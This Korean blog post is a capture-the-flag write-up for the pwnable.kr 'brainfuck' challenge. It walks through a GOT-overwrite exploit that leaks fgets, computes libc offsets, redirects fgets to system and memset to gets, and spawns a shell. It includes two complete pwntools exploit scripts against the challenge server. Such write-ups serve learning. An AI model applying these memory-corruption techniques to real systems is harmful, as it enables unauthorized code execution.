본문 바로가기
시스템 해킹/pwnable.kr

brainfuck

by sonysame 2016. 11. 6.

    


<-main함수



main함수에서 p는 tape을 가리키는 포인터이다.


main의 

memset->get으로
fgets->system으로 바꿀 것이다.

                                                                                           



 do_brainfuck 함수                                                        



아스키코드 60: <

아스키코드 62: >       

아스키코드 43: +                                                               

아스키코드 45: -

아스키코드 46: .

아스키코드 44: ,

아스키코드 91: [

을 의미한다.


payload=''

tape을 가리키는 p를 fgets를 가리키게 올려주어야 한다.


payload+='<'*(0x0804A0A0-0x0804A010)


fgets.got.plt.의 주소를 출력한다.


payload+='.>'*4

bf_libc.so에서 system함수의 주소: 3A920

 fgets함수의 주소:    5D540

 gets함수의 주소: 5E770


from_system_to_fgets=0x5D540-0x3A920

from_gets_to_fgets=0x5D540-0x5E770


fgets_addr=u32(s.recvn(4)[:4])

system_addr=fgets_addr-from_system_to_fgets

gets_addr=fgets_addr-from_gets_to_fgets


다시 p를 fgets쪽으로 올려준다.

payload+='<'*4


fgets에 system의 주소를 써준다.

payload+=',>'*4


s.send(p32(system_addr))


다시 p를 fgets쪽으로 올려준다.

payload+='<'*4


p를 fgets에서 memset쪽으로 내려준다.

payload+='>'*(0x804A02C-0x804A010)


memset을 gets로 바꾸어준다.

payload+=',>'*4


s.send(p32(gets_addr))


이제 memset은 gets로 바뀌고, fgets는 system으로 바뀌었다.

main이 다시 실행될 수 있도록, putchar[]을 main으로 바꾸자.


payload+=',>'*4

main 주소: 0x08048671

s.send(p32(0x08048671))


그 다음,  putchar가 즉, main이 실행되도록 한다.

payload+='.'


s.sendline(payload)

//이 부분은

payload='<'*(0x0804A030-0x0804A00C)

payload=',>'*4

s.send(p32(0x08048671))

payload=','

을 해도 가능할 것 같다.

//

이제 main함수가 진행되고

gets로 /bin/sh/을 넣어주어야하므로


s.sendline('/bin/sh')

s.interactive()로 끝!



exploit.py

from pwn import *


s=remote('pwnable.kr', 9001)

s.recvline_startswith("type")


payload = '<'*(0x0804A0A0-0x0804A010)

payload += '.>'*4

payload += '<'*4

payload += ',>'*4

payload += '<'*4

payload += '>'*(0x804A02C-0x804A010)

payload += ',>'*4

payload += ',>'*4

payload += '.'


s.sendline(payload)


fgets_addr=u32(s.recvn(4)[:4])

from_system_to_fgets=0x5D540-0x3A920

from_gets_to_fgets=0x5D540-0x5E770

system_addr=fgets_addr-from_system_to_fgets

gets_addr=fgets_addr-from_gets_to_fgets


s.send(p32(system_addr))

s.send(p32(gets_addr))

s.send(p32(0x08048671))

s.sendline('/bin/sh')


s.interactive()





from pwn import *

 

libc = ELF("./bf_libc.so")

 

p = remote("pwnable.kr", 9001)

p.recvline_startswith("type")

 

payload = '<'*(0x0804A0A0-0x0804A010)

payload += '.>'*4

payload += '<'*4

payload += ',>'*4

payload += '<'*4

payload += '>'*(0x804A02C-0x804A010)

payload += ',>'*4

payload += ',>'*4

payload += '.'

 

p.sendline(payload)

 

addr_fgets = p.recvn(4)[::-1].encode('hex')

addr_system = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['system']

addr_gets = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['gets']

 

p.send(p32(addr_system))

p.send(p32(addr_gets))

p.send(p32(0x08048671))

p.sendline('/bin/sh')

p.interactive()


//다른 풀이


'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

flag  (0) 2018.09.03
unlink  (0) 2016.12.27
uaf  (0) 2016.12.24